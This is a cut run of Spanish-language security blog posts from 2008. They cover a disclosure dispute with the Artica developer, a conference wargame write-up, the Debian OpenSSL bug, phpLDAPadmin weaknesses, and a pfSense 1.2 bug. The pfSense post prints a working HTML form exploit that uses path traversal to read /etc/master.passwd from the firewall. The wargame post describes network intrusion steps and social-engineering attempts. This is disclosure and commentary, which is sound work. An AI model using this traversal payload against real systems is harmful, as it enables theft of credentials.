rgb(255, 0, 0);">Hola!, ya realize una instalación desde cero y el archivo apareció :)</span><br /> <span style="color: rgb(255, 0, 0);">nando:/home/nando/Desktop# ls -la /usr/share/artica-postfix/upload.php </span> </div><div style="color: rgb(255, 0, 0); text-align: justify;" dir="ltr">-rw-r--r-- 1 root root 713 oct 17 11:13 /usr/share/artica-postfix/<wbr>upload.php<br />nando:/home/nando/Desktop# </div><div style="text-align: justify;"><br /><span style="color: rgb(0, 51, 0);">dev:</span> <span style="color: rgb(0, 51, 0);">...</span><br /><br /><div style="text-align: justify;">Como el asunto no podia quedar ahí entre al <a href="http://www.artica.fr/forum/viewtopic.php?f=10&amp;t=656">foro público</a> de artica y publique una entrada, la cual el mismo desarrollador contesto e inmediatamente cerro el topic.<br />Para mi ya era el colmo, no me daba explicaciones y se hacia el loco con el tema.<br /></div><br />Entonces abrí un segundo tema y le dije que pilas, que las cosas no eran así y realmente las comunidades de software libre no funcionan así. Ocultar las cosas no es una buena politica.<br /><br /><span style="color: rgb(0, 51, 0);">El desarrollador muy amablemente devolvio a la vida mi topic y me escribio un último correo diciendome:</span> <span style="font-family:Helvetica,Arial,sans-serif;"><span style="color: rgb(0, 51, 0);">"Yes you right my script do incremental copies when creating deb packages so it still exists.</span></span> <span style="font-family:Helvetica,Arial,sans-serif;"><span style="color: rgb(0, 51, 0);"> It is fixed for next version...."</span></span><br /><span style="font-family:Helvetica,Arial,sans-serif;"> </span><br /><span style="color: rgb(255, 0, 0);">Mi respuesta fue:<br />...</span><br /><br /><div style="text-align: left;">Y ahi termina la historia.<br /></div><br />Seguramente NO se lanzará un advisory acerca de esto y seguramente algunas cuantas maquinas corriendo artica serán atacadas, pero cumpli con hacer mi parte.<br /></div><br /><div style="text-align: justify;">Aveces la neglicencia o el simple hecho de no reconocer que se comete un error, hacen que los procesos en comunidad no evolucionen de la mejor forma. Si el desarrollador se hubiera portado mejor, seguro me hubiera motivado a entregarle otros bugs mas interesantes, pero por ahora dejemoslo ahí.<br /></div><br />Byte.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-7611970593075096992?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com5tag:blogger.com,1999:blog-6456964801927997186.post-34712750773537476082008-10-14T20:17:00.009-05:002008-10-15T07:25:34.922-05:00! A Crazy WARGAME !<div style="text-align: justify;"><span style="font-style: italic;"><span style="font-weight: bold;">Note:</span> Todo lo que expongo aquí es de manera personal y es producto solo de la frustración de querer divertirme y no poder hacerlo. :p</span><br /><br />Todo el mundo conoce lo que son los <a href="http://es.wikipedia.org/wiki/Wargame">wargames</a>, que son de varios estilos, que pueden haber wargames de programación, de redes, de seguridad y de cualquier otra cosa, pero casi siempre el enfoque es seguridad informática ó hacking.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SPVNzp2R1dI/AAAAAAAAAkM/YzxsSSP7_PM/s1600-h/DSC01622.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SPVNzp2R1dI/AAAAAAAAAkM/YzxsSSP7_PM/s400/DSC01622.JPG" alt="" id="BLOGGER_PHOTO_ID_5257193689827104210" border="0" /></a><br />El pasado puente se realizó<a href="http://www.evencoccc.com/conredes/"> un congreso</a> en <a href="http://es.wikipedia.org/wiki/Cartagena_de_Indias">Cartagena</a>, donde se presentó un<a href="http://www.evencoccc.com/conredes/maraton.php"> reto informático</a>.<br /><br />Como siempre la idea es ganar o al menos entender de lo que se trataba y entender como se resuelve. Esta vez, ni lo uno, ni lo otro.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SPVNz9LaSwI/AAAAAAAAAkU/hbTW6lDCAP4/s1600-h/DSC01623.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SPVNz9LaSwI/AAAAAAAAAkU/hbTW6lDCAP4/s400/DSC01623.JPG" alt="" id="BLOGGER_PHOTO_ID_5257193695016012546" border="0" /></a><br />Jugué con un<a href="http://picasaweb.google.com/las.travesias/CongresoInternacionalDeRedesYTelematica#5257164104930524754"> par de amigos</a> de <a href="http://www.dragonjar.org/">la comunidad dragonjar</a>, pues a través de ellos pude conseguir la entrada (gracias 4v4t4r).<br /><br />Los objetivos de un wargame casi siempre están claros, lo que casi nunca se expone es el COMO hacerlo, que ahí es donde entra en juego las habilidades de los jugadores. En este wargame no teniamos ninguna de las dos cosas, solo teníamos un poco de información de lo que se trataba.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SPVNz1a6tiI/AAAAAAAAAkc/W6C48muog0c/s1600-h/DSC01625.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SPVNz1a6tiI/AAAAAAAAAkc/W6C48muog0c/s400/DSC01625.JPG" alt="" id="BLOGGER_PHOTO_ID_5257193692933568034" border="0" /></a><br />Entonces el asunto fue algo complicado...<br /><br /><span style="font-weight: bold;">Recursos:</span><br />SIN acceso a Internet + Conocimientos propios + Tools y Laptops.<br /><br /><span style="font-weight: bold;">Objetivo:</span><br />Penetrar una red wifi conocida (WEP, WPA2), Hacer un deface (en algún lugar, en algún S.O.) y cambiar datos en una base de datos (alguna base de datos, en algún lugar).<br /><br />Como ven, teníamos algunas limitaciones, pero después de pensarlo mucho, este juego termino por gustarme, ya que me da ideas para cuando programe mis propios wargames y me hace reflexionar acerca de la mente de un atacante.<br /><br />///////////////<br /><br />Al inicio del juego no sabíamos por donde empezar y quizás nunca tuvimos la orientación de lo que queríamos encontrar exactamente, esto debe ser lo que siente un script kidie, cuando quiere "hackear" algo, pero finalmente no sabe que o para que.<br /><br />Es muy diferente a la mentalidad de un atacante con un objetivo fijo donde dice: Voy por una base de datos de usuarios que esta en X maquina y listo, enfoca sus esfuerzos a lograrlo.<br /><br />Aunque teníamos un QUE, no sabíamos exactamente donde se desarrollaria el Juego.<br /><br />Después de la charla del ponente que realizó el montaje del wargame, entendimos que su mentalidad era algo diferente, quizás no quería organizar un reto "ganable" o quizás quería demostrar lo bueno que es configurando una red segura.<br /><br />El punto en cuestión y con lo que no estuve de acuerdo fue cuando mencionó que este wargame estaba diseñado basado en el mundo real, algo que me parecío muy ilógico de lo que había podido analizar hasta ese momento, en fin, el asunto no es criticar, ni decir que estuvo bien o no bien hecho. El asunto es analizar que un reto de estos en un congreso debería estar orientado a motivar a los asistentes para que practiquen y desarrollen habilidades y no a demostrar que tan buenos pueden ser unos productos o que tan "tesos" son los que los implementan.<br /><br />Jugando el wargame a ciegas ...<br /><br />1. WEP y WPA<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/SPVZDBDmo4I/AAAAAAAAAk0/ItTL9dY_4ZE/s1600-h/DSC01768.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/SPVZDBDmo4I/AAAAAAAAAk0/ItTL9dY_4ZE/s400/DSC01768.JPG" alt="" id="BLOGGER_PHOTO_ID_5257206048382952322" border="0" /></a><br />El punto de inicio era fácil, había que romper una llave WEP o WPA para ingresar a la red del juego, sus SSID: <span style="font-weight: bold; font-style: italic;">e-byte </span><span style="font-style: italic;">y</span><span style="font-weight: bold; font-style: italic;"> e-byte2</span>.<br /><br />Ya todos sabemos las herramientas que existen para crackear llaves, pero también sabemos que estas técnicas tienen limitaciones como por ejemplo el trafico que debe existir en los AP para que la inyección de datos sea efectiva ...<br /><br />El punto en contra era que ninguno de los dos AP's tenia tráfico inicialmente y encima, tenían instalado un sistema que "baneaba" intentos fallidos, escaneos y etc. Los productos son de <a href="http://www.arubanetworks.com/">aruba</a>, me imagino que en producción deben ser muy buenos, pero son necesarios para un wargame?<br /><br />Intentamos varias técnicas para conseguir el acceso a los AP.<br /><br /></div><div style="text-align: justify;"><br /><div style="text-align: center;"><span style="font-weight: bold;">Acceso físico</span><br /><span style="font-weight: bold;"></span></div></div><ul style="text-align: justify;"><li>Intentamos acceder físicamente a los equipos del reto, suponiendo que estaban en un cuarto de operaciones cercano al lugar del evento, pero no fue posible, puesto que estaba todo el tiempo con personas. (el disfraz de camarera no funciono!, tampoco el de señora del aseo)<br /><br /></li><li>Intentamos desconectar un AP en producción para ubicarlo en nuestro switch, pero el único cable de red que llevábamos no funcionó, luego pensamos en desconectar el AP pero desconectaríamos muchos usuarios reales y esto llamaría la atención.</li></ul><div style="text-align: justify;"><br /><div style="text-align: center; font-weight: bold;">Ingeniería social<br /></div><ul><li>Rastreamos el mejor lugar con señal para ubicarnos en este y así tener mas posibilidades, al mismo tiempo el ubicarnos en un mismo lugar, hace que el resto de competidores se sientan intimidados y se ubiquen en lugares aparte, normalmente al otro extremo , lo que les dificulta la conexión para ellos.</li></ul><ul><li>Intentamos hacer ingeniería social con organizadores y ponentes, pero ninguno tenia información técnica del montaje, sin embargo la información que nos brindaron no solo nos desviaron a nosotros, si no a todos los participantes.<br /><br /></li><li>Usar camisetas puede parecer un poco lammer, pero dependiendo del escenario logra que las personas se predispongan y por lo tanto muchos ni siquiera intenten jugar ;)</li></ul><br />Finalmente encontramos la WEP ...<br /><br />Un punto para el wargame fue que ambas redes WEP y WPA accedían al mismo lugar, entonces intentar romper las dos era perdida de tiempo, pero nunca nadie dijo que este era el escenario, me parece chevere esta implementación, dos accesos que van al mismo lugar dividen los esfuerzos (:p), pero para mi, no es un escenario real.<br /><br />Al finalizar hablamos con el ponente y nos contó que la llave WPA era algo como:<br /><br /><div style="text-align: center;"><span style="font-weight: bold;">"%&amp;@·1234567"</span><br /></div><br />Por lo que con HANDSHAKE o sin HANDSHAKE, esa clave nunca se hubiera podido romper.<br /><br />Obviamente el HADSHAKE nunca se obtuvo, porque nunca se conecto un solo cliente.<br /><br />Pretendían que rompiéramos WPA2 en día y medio sin conexión a Internet? ;)<br /><br />2. MAPEANDO, ENUMERACIÓN, SCANNING<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SPVZDCJ4psI/AAAAAAAAAk8/z22-M4jfB_U/s1600-h/DSC01769.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SPVZDCJ4psI/AAAAAAAAAk8/z22-M4jfB_U/s400/DSC01769.JPG" alt="" id="BLOGGER_PHOTO_ID_5257206048677734082" border="0" /></a><br />Ya dentro de la red sacamos la info que pudimos, vimos algunos equipos conectados y nos dimos cuenta que teníamos asignada una dirección dinámica pero que el gateway no respondía y el mismo gateway era el servidor DNS.<br /><br />Al principio pensábamos que esa maquina era ficticia, después tendríamos la respuesta.<br />Escaneamos el resto de las maquinas, todas aparecían con los mismos puertos: 80, 3128, 8080, 8888 y dos de ellas con los puertos de VPN. El problema era que todos los puertos respondían de la misma forma, porque tenían <a href="http://es.wikipedia.org/wiki/TCP_Wrapper">TCPWRAPPERS </a>y ademas cada host tenia un <a href="http://es.wikipedia.org/wiki/Portal_captivo">portal cautivo</a> que nunca supimos cual era, o como pasarlo, pues redireccionaba a un mensaje de error de acceso administrativo.<br /><br />Ahí fue cuando empezamos a llorar... (lol)<br /><br />Hablando con el ponente, nos explico que en la red donde estabamos habian varios equipos y que podía haber un filtro y un sistema IDS en appliance y ademas un <a href="http://www.sonicwall.com/lat/">sonicwall</a> antiTODO, pero que si no podíamos pasar eso, entonces él con gusto bajaría el nivel del reto retirando algunos equipos (routers, switchs, appliances).<br /><br /><span style="font-size:180%;">Agrrrrr... :S</span><br /><br />Vuelve y juega la pregunta,<br /><br />¿La idea era que jugáramos o que viéramos que la implementación era excelente ?<br />¿Lo era ?<br /><br />En este punto ya se habían retirado el 98% de los participantes, primero porque no habían podido romper las llaves y segundo, porque sospechaban lo que les esperaba.<br /><br />Hasta ahí llevábamos el primer punto, entonces decidimos crear un documento y entregarlo por si las moscas. De todos modos seguimos jugando.<br /><br />Mas adelante el ponente nos contó que lo que pasaba era que tenia un <a href="http://en.wikipedia.org/wiki/Port_knocker">port knocker</a> y que por eso no veíamos nada abierto, entonces intentamos pasar el <a href="http://en.wikipedia.org/wiki/Port_knocker">port knocker</a> pero la secuencia de puertos nunca la supimos y a la pregunta de cual era el cliente para pasarla, nos contesto que el cliente estaba en un archivo en alguna otra de las maquinas, que tenia un nombre raro y concluimos que esas maquinas estaban filtradas con el portal cautivo y de esa forma NUNCA íbamos a poder encontrar los tales archivos clientes.<br /><br />Para los que entienden del tema, saben que hay scanners que se basan en bases de datos para enumerar directorios y archivos de un servidor web, pero para que sea efectivo el ataque con algo así se requiere:<br /><br /><span style="font-size:85%;">a. TENER EL PUERTO ESCUCHANDO (no lo teníamos TCPWRAPPERS + PORTAL CAPTIVO)<br />b. QUE EL NOMBRE BUSCADO ESTE EN LA BD<br />(no lo creo, el archivo deberia tener una combinación alfa numérica imposible)<br /></span><br />3. DIA DE LA DECEPCIÓN ...<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SPVZDQ2gzrI/AAAAAAAAAlE/sMJBVy-xb-g/s1600-h/DSC01770.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SPVZDQ2gzrI/AAAAAAAAAlE/sMJBVy-xb-g/s400/DSC01770.JPG" alt="" id="BLOGGER_PHOTO_ID_5257206052623011506" border="0" /></a><br />Ya cansados de pelear y sin tocar mar por culpa del juego, decidimos esperar las conclusiones.<br /><br />El ponente explico de una forma muy elocuente el reto, pero nunca respondió técnicamente al COMO pasarlas, pero lo que dejo ver es que todo debía llegar por iluminación, y nosotros aún no llegamos hasta allá :P<br /><br />La respuesta era algo como: <span style="font-size:85%;">"A uno se le ocurre que la maquina 172.16.55.8 esta en la VLAN 230 ..."<br /></span><br />Y estos fueron los tips para pasar el reto:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SPVZDZysokI/AAAAAAAAAlM/fMAO_jy-g6k/s1600-h/DSC01771.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SPVZDZysokI/AAAAAAAAAlM/fMAO_jy-g6k/s400/DSC01771.JPG" alt="" id="BLOGGER_PHOTO_ID_5257206055022928450" border="0" /></a>Jajaja, yo trate de entenderlo un poco más.<br /><br />Aquí va:<br /><br /><div style="text-align: center; font-weight: bold;">COMO RESOLVER EL RETO INFORMÁTICO - CARTAGENA 2008<br /></div><br />1. Crackear una llave WEP o WPA2, cualquiera de las dos lo llevan al mismo lugar, pero tenga en cuenta que no hay clientes en los AP.<br /><br />2. Una vez adentro, mapear la red, pero todo el tráfico ICMP estaba filtrado, por lo tanto nunca se sabia si estaban activos o no los equipos, el uso de sniffers era obligatorio, pero para ver el trafico, había que envenenar el switch y luego ADIVINAR que la IP 192.168.1.10 (corriendo <a href="http://es.wikipedia.org/wiki/IPCop">IPCOP</a>) tenia un servidor portknocker, por lo tanto no se pueden ver los servicios, la solución es encontrar un archivo de configuración cliente en algún lugar de la red y luego descifrarlo para poderlo usar.<br /><br />El archivo al parecer estaba en la maquina 192.168.1.100 (se obtiene por adivinación), pero para poder alcanzar el archivo tendríamos que hacer spoofing de direcciones IP y luego pasarnos la seguridad de un portal captivo (quizas clonando la MAC) y cuando ya pudíeramos entrar al servidor ADIVINAR el nombre del archivo y la extensión que este usaba.<br /><br />Después era muy fácil, solo descargarlo, si es que el IPS no lo filtraba. Existen muchísimas soluciones de port knocking, sin Internet es complicado apuntarle a una.<br /><br />3. Cuando tuviéramos acceso a la maquina .10, teníamos que escanearla y encontrar que estaba abierto el puerto 2000, aunque apareciera filtrado, y luego deducir que ese 2000 era realmente una pasarela (forwarding) para el otro lado B del juego.<br /><br />Al entrar al lado B, teniamos que caer en cuenta que estabamos en una VLAN con un switch 3com (quitaron el switch cisco) que no tenia IP administrativa, pero de todos modos debíamos hackear el switch o reprogramarle un firmware usando el protocolo <a href="http://es.wikipedia.org/wiki/TFTP">TFTP</a>.<br /><br />El problema es que el acceso desde el TFTP solo se permitia desde una maquina confiable protegida por un Firewall, por lo tanto habia que penetrar esta maquina para poder montarle una imagen y luego hacer que el switch la descargará. (Obviamente habia que saltarse el portal captivo para atacar la maquina ). Pero fácil, ahí estariamos en el switch, supongo que con clave by default. (lol)<br /><br />Una vez en el switch tendriamos que cambiarnos a una VLAN donde estuvieran los servidores a comprometer .<br /><br />4. Una vez conectados en la VLAN correcta debíamos escanear las maquinas y encontrar que tenian plugines/ejemplos de tomcat vulnerables, los cuales debíamos explotar y de esa forma tener acceso a la maquina, ya estando allí solo tendríamos que hacer el deface. Y listo, el reto dos estaría cumplido.<br /><br />5. Luego debíamos pasarnos de VLAN y escanear la red por otro equipo, pasarnos la protección del firewall y entrar a la BD que era MySQL, cambiar los registros correctos y listo, el primer puesto seria nuestro.<br /><br />Eso fue lo que entendí del reto, de lo que teníamos que hacer, le agradezco a los que montaron este wargame porque me abrió los ojos, porque si hay alguien que para prevenir un deface se tome esas molestias, entonces de seguridad yo no se nada :P<br /><br />Como vieron era un reto que mezclaba un poco de todo, yo creo que es viable ganarlo, siempre y cuando tengamos unos 15 días para jugar y no 1 día y medio como estaba planteado.<br /><br /></div><div style="font-weight: bold; text-align: justify;">¿Lo que me dejó preocupado es que si ese es un ambiente real entonces que es esto un día despues del congreso?, ¿no importa un deface in the real, real life ?<br /></div><div style="text-align: justify;"><br /><br /></div><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SPVYYuJtlSI/AAAAAAAAAks/ZK4FZvvoVTU/s1600-h/seguridad.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SPVYYuJtlSI/AAAAAAAAAks/ZK4FZvvoVTU/s400/seguridad.png" alt="" id="BLOGGER_PHOTO_ID_5257205321753793826" border="0" /></a>(Empresa que colaboró en el montaje del wargame - donado por un usuario anónimo)<br /></div><br />PD1: Todas las gráficas que aparecen fueron del cierre del juego, NO antes de empezarlo. Las conclusiones que saco son mias y son hipoteticas, puedo estar equivocado, pero es lo que concluí después de escuchar al ponente y de todo lo que analizamos.<br /><br />PD2: hackerslab, pulltheplug, ngsec, boinasnegras, hasta el reto de la campus se quedo en palotes!<br /><br />PD3: De todos modos GANAMOS, nos premiaron (a la perseverancia? ), invitación a próximos congresos y la fiesta en <a href="http://www.mrbabilla.com/web/c_rumba.htm">Mr. Babilla</a>.<br /><br />PD4: Me falto contarles que el <span style="font-weight: bold;">lado A</span> y el <span style="font-weight: bold;">lado B </span>del reto se conectaban usando protocolos <a href="http://es.wikipedia.org/wiki/X10">X10</a> que transmiten sobre el cableado eléctrico. la respuesta del ponente a mi sorpresa fué:<br /><br /><div style="text-align: center;"><span style="font-size:85%;"><span style="font-weight: bold;">" Ah!, no lo vieron?, el tráfico por ahí estaba desencriptado, podían haberlo esnifeado!".</span><br /></span></div><br /><div style="text-align: center;"><span style="color: rgb(255, 0, 0);font-size:85%;" >Lastima que no lleve mi plugin de wireshark para X10 y menos el<a href="http://www.economizadores.net/popup_producto.php?ID_productos=462"> conversor de 110V </a>para el Assus! </span><span style="color: rgb(255, 0, 0);">:P</span><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-3471275077353747608?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com7tag:blogger.com,1999:blog-6456964801927997186.post-50960965783780148562008-10-14T20:14:00.001-05:002008-10-14T20:16:39.215-05:00<div style="text-align: center;"><span style="font-size:180%;">Sean Legales !!</span><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SPVERAo_6sI/AAAAAAAAAkE/SKpkNSPjBoM/s1600-h/DSC01898.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SPVERAo_6sI/AAAAAAAAAkE/SKpkNSPjBoM/s400/DSC01898.JPG" alt="" id="BLOGGER_PHOTO_ID_5257183199045348034" border="0" /></a><br /><span style="font-style: italic;">Como mi hermana ...</span><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-5096096578378014856?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com0tag:blogger.com,1999:blog-6456964801927997186.post-49838095840559292242008-10-13T17:30:00.002-05:002008-10-13T17:31:19.631-05:00JSL 2008 - Jornadas de Software Libre<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SPPMIH6dwmI/AAAAAAAAAjM/fzQveDOxr_M/s1600-h/bannerjsl2.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 527px; height: 191px;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SPPMIH6dwmI/AAAAAAAAAjM/fzQveDOxr_M/s400/bannerjsl2.png" alt="" id="BLOGGER_PHOTO_ID_5256769630006788706" border="0" /></a><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-4983809584055929224?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com1tag:blogger.com,1999:blog-6456964801927997186.post-31735178857213123052008-08-31T22:22:00.003-05:002008-08-31T22:34:31.295-05:00[OT] Un buen MRASAJE<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://upload.wikimedia.org/wikipedia/commons/d/d2/ChineseMedecine.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 250px; height: 367px;" src="http://upload.wikimedia.org/wikipedia/commons/d/d2/ChineseMedecine.JPG" alt="" border="0" /></a><br />Esto que tiene que ver con el perfil técnico del blog?<br /><br /><div style="text-align: center;">!!! NADA !!!<br /></div><br />Pero queria agradecerle a mi progenitora por el delicioso MRASAJE que me practico esta noche.<br /><br />Que es un MRASAJE?, pues es un triple combo o un killer combo como dirian algunos por ahí, solo se puede usar cuando el cuerpo lo pide a gritos:<br /><br /><span style="font-size:85%;"><a href="http://es.wikipedia.org/wiki/Moxa">MOXIBUSTIÓN</a> + <a href="http://es.wikipedia.org/wiki/Reiki">REIKI</a> + <a href="http://es.wikipedia.org/wiki/Acupuntura">ACUPUNTURA</a> * ( <a href="http://es.wikipedia.org/wiki/Masaje">MASAJE</a> ) </span>= <span style="font-size:180%;"><span style="color: rgb(255, 0, 0);">MRASAJE</span></span><br /><br />Alguna de las ventajas de ser un Geek con mamá terapeuta.<br /> Una vez realizada la terapia puedo compilar mejor.<br />Quíen dijo que un Geek no puede hacer otras cosas?<br /><br />Perdón por el offtopic. :D<br /><br />Si, mientras me masajeaban seguia compilando y buscando bugs.<br /><br />See yaa!<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-3173517885721312305?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com2tag:blogger.com,1999:blog-6456964801927997186.post-10477806631204803682008-08-30T22:28:00.003-05:002008-08-30T22:32:50.910-05:00Just 4 rememberyear 2003 ...<br /><br /><span style="color:#000000;">"At lines 467-469 in crypto/rand/md_rand.c is an interesting<br />thing:<br /><br />#ifndef PURIFY<br /> MD_Update(&amp;m,buf,j); /* purify complains */<br />#endif<br /><br />That is the code that causes the problem (I just verified<br />it with Valgrind). Does it have any bad side affects to<br />always skip that code? Since both Purify and Valgrind is<br />unhappy with that function call, something must be wrong<br />with it.</span>"<br /><br />LOL.<br />is perfect Valgrind ?<br /><br />Este texto empieza exactamente con la respuesta al problema de hace unos meses de Debian (http://www.debian.org/security/2008/dsa-1571):<br /><br /><span style="color: rgb(255, 0, 0);">"</span><span style="color:#000000;"><span style="color: rgb(255, 0, 0);">That is the code that causes the problem ..."</span><br /><br /></span>Jeje, será que ya sabia lo que iba a ocasionar?<br /><br />PD: una mala premisa.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-1047780663120480368?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com0tag:blogger.com,1999:blog-6456964801927997186.post-35868573238278285022008-08-28T09:18:00.004-05:002008-08-28T09:39:32.144-05:00I don like it<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SLazzUl5RDI/AAAAAAAAAdo/IWdw5XquSmc/s1600-h/phpldap.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SLazzUl5RDI/AAAAAAAAAdo/IWdw5XquSmc/s400/phpldap.jpg" alt="" id="BLOGGER_PHOTO_ID_5239572910774502450" border="0" /></a><br />Estaba haciendo unas pruebas y leí un poco del código, realmente se ve muy buggy, no pienso ir mas allá, lo dejo para que alguien mas se anime ;)<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SLa1rMkyR_I/AAAAAAAAAdw/qaHwDsGttGw/s1600-h/PHPLDAPADMIN.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SLa1rMkyR_I/AAAAAAAAAdw/qaHwDsGttGw/s400/PHPLDAPADMIN.png" alt="" id="BLOGGER_PHOTO_ID_5239574970206668786" border="0" /></a>Ningun archivo valida ingreso de parámetros, la función de borrado masivo es vuln, permitiendo eliminar completamente un dominio, posiblemente se pueda hacer LDAP injection o cosas así. Lo verifique en la versión que aparece en el screenshot, no he probado nada en las versiones en desarrollo.<br /><br />Lo delicado del asunto es que a traves de un sistema web vulnerable, pueda tener control total de un PDC.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-3586857323827828502?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com0tag:blogger.com,1999:blog-6456964801927997186.post-32835402760273842942008-08-07T21:23:00.007-05:002008-08-07T21:58:23.371-05:00Bug and exploit for Pfsense v1.2<div style="text-align: center;"><span style="font-weight: bold;">Por donde atacarias un firewall?<br /><br /></span></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.pfsense.org/"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SJuvW31oZDI/AAAAAAAAAdE/fhNcylbRwek/s400/pfsense.png" alt="" id="BLOGGER_PHOTO_ID_5231968199601841202" border="0" /></a><br />Un exploit?<br /><span style="font-weight: bold;">bash-3.2# cat ataque.html </span><br /><pre><br /><span style="color: rgb(255, 102, 102);">&lt;form name="ataque" method="post" action="http://192.168.20.200/exec.php"&gt;</span><br /><span style="color: rgb(255, 102, 102);">&lt;table width="0" border="0" align="center" cellpadding="0" cellspacing="0"&gt;</span><br /><span style="color: rgb(255, 102, 102);">&lt;tr&gt;</span><br /><span style="color: rgb(255, 102, 102);">&lt;td&gt;Ataque&lt;/td&gt;</span><br /><span style="color: rgb(255, 102, 102);">&lt;td&gt;&lt;input name="submit" type="text" id="victima" value="Download"&gt;&lt;/td&gt;</span><br /><span style="color: rgb(255, 102, 102);">&lt;td&gt;&lt;input name="dlPath" type="text" id="victima2" value="../../../../../../../etc/master.passwd"&gt;&lt;/td&gt;</span><br /><span style="color: rgb(255, 102, 102);">&lt;/tr&gt;</span><br /><span style="color: rgb(255, 102, 102);">&lt;tr&gt;</span><br /><span style="color: rgb(255, 102, 102);">&lt;td&gt; &lt;/td&gt;</span><br /><span style="color: rgb(255, 102, 102);">&lt;td&gt;&lt;input type="submit" name="submit" value="Download"&gt;&lt;/td&gt;</span><br /><span style="color: rgb(255, 102, 102);">&lt;/tr&gt;</span><br /><span style="color: rgb(255, 102, 102);">&lt;/table&gt;</span><br /><span style="color: rgb(255, 102, 102);">&lt;/form&gt; </span><br /></pre><div style="text-align: center;"><span style="font-size:78%;">Donde, 192.168.20.200 es ?</span><br /></div><br />Yo solo quiero descargarme el <span style="font-style: italic; color: rgb(255, 102, 0);">/etc/master.passwd</span> del firewall.<br /><div><span style="font-style: italic;">(thx astrid por la inspiración, jeje)</span><br /></div><blockquote></blockquote>Un fix silencioso ...<br /><br /><span style="color: rgb(51, 51, 51);">de:<br /><a href="http://cvstrac.pfsense.org/fileview?f=pfSense/usr/local/www/exec.php&amp;v=1.10.4.11.2.1">http://cvstrac.pfsense.org/fileview?f=pfSense/usr/local/www/exec.php&amp;v=1.10.4.11.2.1</a><br 